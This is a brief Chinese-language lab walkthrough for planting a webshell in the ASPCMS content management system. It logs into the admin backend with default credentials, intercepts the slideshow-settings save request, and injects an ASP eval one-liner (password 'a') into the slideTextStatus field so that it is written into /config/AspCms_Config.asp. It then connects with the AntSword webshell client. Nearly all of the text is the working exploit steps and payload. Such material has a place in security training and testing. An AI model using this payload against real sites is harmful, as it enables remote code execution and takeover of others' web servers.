1.后台修改配置文件拿Shell
步骤一：访问以下地址为ASPCMS...并登陆到后台（这里注意在搭建站点的时候注意权限问题）
#网站后台
http://192.168.4.139/admin_aspcms/login.asp //全功能版本
#账户密码
username:admin
password:123456
步骤二：点击【扩展功能】--》 【幻灯片设置】 --》点击 【保存】 --》开启代理进行抓包
步骤三：在抓取的数据包中修改slideTextStatus字段的值为以下代码并进行发包查看被修改的asp
文件内容
#字段值
1%25><%25Eval(Request (chr(65)))%25><%25 密码是a
#影响文件
/config/AspCms_Config.asp 
蚁剑连接 http://192.168.3.236:81/config/AspCms_Config.asp
